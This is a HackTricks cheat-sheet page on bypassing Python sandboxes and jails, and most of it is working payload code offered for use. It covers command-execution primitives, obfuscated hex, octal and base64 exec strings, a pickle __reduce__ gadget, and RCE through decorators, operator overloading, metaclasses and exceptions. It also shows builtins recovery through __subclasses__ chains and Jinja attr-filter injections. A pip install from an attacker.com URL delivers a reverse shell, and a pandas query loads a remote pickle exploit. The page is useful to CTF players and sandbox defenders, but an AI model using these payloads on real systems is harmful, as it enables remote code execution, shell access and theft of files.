hacktricks/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

Bypass Python sandboxes

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
• Get the official PEASS & HackTricks swag
• Discover The PEASS Family, our collection of exclusive NFTs
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

---

These are some tricks to bypass python sandbox protections and execute arbitrary commands.

Command Execution Libraries

The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls") 
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.

{% hint style="danger" %} Python2 input() function allows executing python code before the program crashes. {% endhint %}

Python try to load libraries from the current directory first (the following command will print where is python loading modules from): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with the default installed python packages

Default packages

You can find a list of pre-installed packages here: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Note that from a pickle you can make the python env import arbitrary libraries installed in the system.
For example, the following pickle, when loaded, is going to import the pip library to use it:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
    def __reduce__(self):
        return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

For more information about how pickle works check this: https://checkoway.net/musings/pickle/

Pip package

Trick shared by @isHaacK

If you have access to pip or pip.main() you can install an arbitrary package and obtain a reverse shell calling:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:

{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}

{% hint style="info" %} This package is called Reverse. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave. {% endhint %}

Eval-ing python code

{% hint style="warning" %} Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator) {% endhint %}

If certain characters are forbidden you can use the hex/octal/B64 representation to bypass the restriction:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Other libraries that allow to eval python code

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Operators and short tricks

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Bypassing protections through encodings (UTF-7)

In this writeup UFT-7 is used to load and execute arbitrary python code inside an apparent sandbox:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
    return x
    #+AAo-print(open("/flag.txt").read())
""".lstrip()

It is also possible to bypass it using other encodings, e.g. raw_unicode_escape and unicode_escape.

Python execution without calls

If you are inside a python jail that doesn't allow you to make calls, there are still some ways to execute arbitrary functions, code and commands.

RCE with decorators

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
    pass

# The previous code is equivalent to:
class X:
    pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE creating objects and overloading

If you can declare a class and create an object of that class you could write/overwrite different methods that can be triggered without needing to call them directly.

RCE with custom classes

You can modify some class methods (by overwriting existing class methods or creating a new class) to make them execute arbitrary code when triggered without calling them directly.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
    def __init__(self):
        self += "print('Hello from __init__ + __iadd__')"
    __iadd__ = exec #Triggered when object is created
    def __del__(self):
        self -= "print('Hello from __del__ + __isub__')"
    __isub__ = exec #Triggered when object is created
    __getitem__ = exec #Trigerred with obj[<argument>]
    __add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Crating objects with metaclasses

The key thing that metaclasses allow us to do is make an instance of a class, without calling the constructor directly, by creating a new class with the target class as a metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
    __getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type
    
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
    pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Creating objects with exceptions

When an exception is triggered an object of the Exception is created without you needing to call the constructor directly (a trick from @_nag0mez):

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
  __add__ = exec

try:
  raise Klecko
except Klecko as k:
  k + 'import os; os.system("sh")' #RCE abusing __add__
  
## You can also use the tricks from the previous section to get RCE with this object

More RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially 
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Read file with builtins help & license

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

Builtins

• Builtins functions of python2
• Builtins functions of python3

If you can access the __builtins__ object you can import libraries (notice that you could also use here other string representation shown in the last section):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

When you don't have __builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded.
However, by default python imports a lot of modules in memory. These modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.

In the following examples you can observe how to abuse some of this "benign" modules loaded to access dangerous functionalities inside of them.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Below there is a bigger function to find tens/hundreds of places were you can find the builtins.

Python2 and Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Checking the globals and locals is a good way to know what you can access.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Below there is a bigger function to find tens/hundreds of places were you can find the globals.

Discover Arbitrary Execution

Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.

Accessing subclasses with bypasses

One of the most sensitive parts of this technique is being able to access the base subclasses. In the previous examples this was done using ''.__class__.__base__.__subclasses__() but there are other possible ways:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Finding dangerous libraries loaded

For example, knowing that with the library sys it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

There are a lot, and we just need one to execute commands:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

We can do the same thing with other libraries that we know can be used to execute commands:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Moreover, we could even search which modules are loading malicious libraries:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
     vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
     print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands: 
subprocess: BaseDependency, Origin, Version, Package
pty: 
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp: 
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Moreover, if you think other libraries may be able to invoke functions to execute commands, we can also filter by functions names inside the possible libraries:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
     vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
     print(f"{b}: {', '.join(vuln_funcs)}")
     
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands: 
subprocess: BaseDependency, Origin, Version, Package
pty: 
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp: 
